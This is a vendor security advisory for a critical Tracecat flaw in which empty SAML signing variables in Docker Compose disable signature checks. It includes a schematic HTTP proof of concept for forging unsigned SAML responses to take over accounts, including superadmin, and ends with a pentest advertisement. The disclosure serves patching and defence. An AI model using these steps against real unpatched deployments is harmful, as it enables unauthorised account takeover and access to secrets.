Tracecat: Account Takeover via Unsigned SAML Responses in Docker Compose
In Tracecat's Docker Compose deployments, empty SAML signing variables override the secure application defaults and disable signature verification, letting an unauthenticated attacker forge unsigned SAML responses and take over any account including superadmin.
Advisory ID: TP-2026-033
Product: Tracecat (open-source security automation, self-hosted)
Vulnerability type: Improper verification of SAML signature (unsigned SAML response accepted) (CWE-347)
CVE: CVE-2026-58490
CVSS 3.1: 9.8 (Critical) · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Affected versions: <= 1.0.0-beta.48 (Docker Compose deployments only)
Fixed in: 1.0.0-beta.49
Vendor advisory: GHSA-6g53-h6fh-c3pj
Reported: 3 June 2026
Summary
Tracecat is an open-source security automation platform (SOAR). In Docker Compose deployments, the SAML service provider is configured with want_assertions_signed and want_response_signed from the SAML_SIGNED_ASSERTIONS and SAML_SIGNED_RESPONSES environment variables. When these variables are empty, signature verification is disabled. An unauthenticated attacker with network access to the SAML ACS endpoint can therefore forge an unsigned SAML response for an existing account and obtain a valid session, up to superadmin account takeover. Fargate and Helm/Kubernetes deployments are not affected. turingpoint verified and reported the issue; the vendor fixed it in 1.0.0-beta.49.
Root cause
The SAML ACS handler builds the pysaml2 service provider with want_assertions_signed/want_response_signed from SAML_SIGNED_ASSERTIONS/SAML_SIGNED_RESPONSES. The code default is "true" (in config.py), but it is silently defeated in docker-compose.yml by ${SAML_SIGNED_*}: because the variables are undefined in .env/.env.example, Compose injects a present-but-empty string. "" != "true" turns signature verification off. An attacker seeds a request via anonymous GET /auth/saml/login, forges an unsigned SAML response with the victim's email attribute (an empty TRACECAT__AUTH_ALLOWED_DOMAINS accepts any domain), POSTs it to the public ACS, and saml_callback(associate_by_email=True) signs them into the existing account. The fix sets secure SAML signing defaults for Docker Compose.
Proof of Concept
# Schematic. Docker Compose deployment with SAML SSO enabled,
# SAML_SIGNED_ASSERTIONS / SAML_SIGNED_RESPONSES unset (empty string).
# 1. Seed a SAML session anonymously:
GET /auth/saml/login
# 2. Forge an unsigned SAML response, email attribute = victim
# (e.g. the password-created superadmin), POST it to the public
# ACS endpoint:
POST /auth/saml/acs
Content-Type: application/x-www-form-urlencoded
SAMLResponse=<base64(unsigned SAML response with [email protected])>
# 3. The ACS accepts the unsigned response (signature verification off)
# and associates by email with the existing account:
# 303 See Other
# Set-Cookie: fastapiusersauth=...
# 4. Authenticated as the victim with the cookie:
GET /api/users/me -> {"is_superuser": true, ...}
# Control: with SAML_SIGNED_*=true -> 400 "Signature missing".
Impact
- Unauthenticated forgery of unsigned SAML responses for any existing account.
- Takeover of any account including a password-created superadmin (pre-existing account takeover).
- Full access to all workspaces, secrets and workflows on the platform.
- Requires only SAML SSO enabled and network access to the public ACS endpoint, no authentication and no user interaction.
References
Is Something Like This in Your Software?
Our team found this vulnerability in the course of its work. Have your applications tested by the same specialists, with a penetration test from turingpoint.
